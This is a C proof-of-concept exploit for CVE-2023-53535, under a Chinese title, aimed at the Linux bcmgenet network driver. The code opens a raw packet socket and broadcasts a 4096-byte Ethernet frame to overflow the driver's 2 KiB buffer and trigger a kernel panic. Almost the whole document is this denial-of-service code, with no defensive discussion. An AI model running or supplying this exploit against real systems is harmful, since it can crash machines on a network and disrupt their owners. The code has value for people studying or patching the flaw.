CVE-2023-53535 Linux内核bcmgenet驱动超大数据包拒绝服务漏洞

// CVE-2023-53535 PoC - Trigger oversized packet handling in bcmgenet driver // This PoC demonstrates how to trigger the vulnerability by sending oversized packets // to a system using the bcmgenet network driver. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/if_packet.h> #include <linux/if_ether.h> #include <sys/ioctl.h> #include <net/if.h> #include <arpa/inet.h> #define OVERSIZED_PACKET_SIZE 4096 // Larger than the 2KiB SKB buffer #define INTERFACE_NAME "eth0" // Default bcmgenet interface name int main(int argc, char *argv[]) { int sockfd; struct ifreq ifr; struct sockaddr_ll sll; unsigned char packet[OVERSIZED_PACKET_SIZE]; const char *ifname = (argc > 1) ? argv[1] : INTERFACE_NAME; // Create raw packet socket sockfd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); if (sockfd < 0) { perror("socket"); return 1; } // Get interface index memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, ifname, IFNAMSIZ - 1); if (ioctl(sockfd, SIOCGIFINDEX, &ifr) < 0) { perror("ioctl SIOCGIFINDEX"); close(sockfd); return 1; } // Setup socket address structure memset(&sll, 0, sizeof(sll)); sll.sll_family = AF_PACKET; sll.sll_ifindex = ifr.ifr_ifindex; sll.sll_protocol = htons(ETH_P_ALL); // Construct an oversized Ethernet frame memset(packet, 0xFF, sizeof(packet)); // Set destination MAC packet[0] = 0xFF; packet[1] = 0xFF; packet[2] = 0xFF; packet[3] = 0xFF; packet[4] = 0xFF; packet[5] = 0xFF; // Set source MAC packet[6] = 0x00; packet[7] = 0x00; packet[8] = 0x00; packet[9] = 0x00; packet[10] = 0x00; packet[11] = 0x01; // EtherType packet[12] = 0x08; packet[13] = 0x00; // IPv4 printf("Sending oversized packet (%d bytes) on interface %s\n", OVERSIZED_PACKET_SIZE, ifname); // Send the oversized packet to trigger skb_over_panic() // The packet size exceeds the 2KiB SKB buffer allocated by bcmgenet if (sendto(sockfd, packet, OVERSIZED_PACKET_SIZE, 0, (struct sockaddr *)&sll, sizeof(sll)) < 0) { perror("sendto"); close(sockfd); return 1; } printf("Oversized packet sent. If vulnerable, kernel panic may occur.\n"); close(sockfd); return 0; }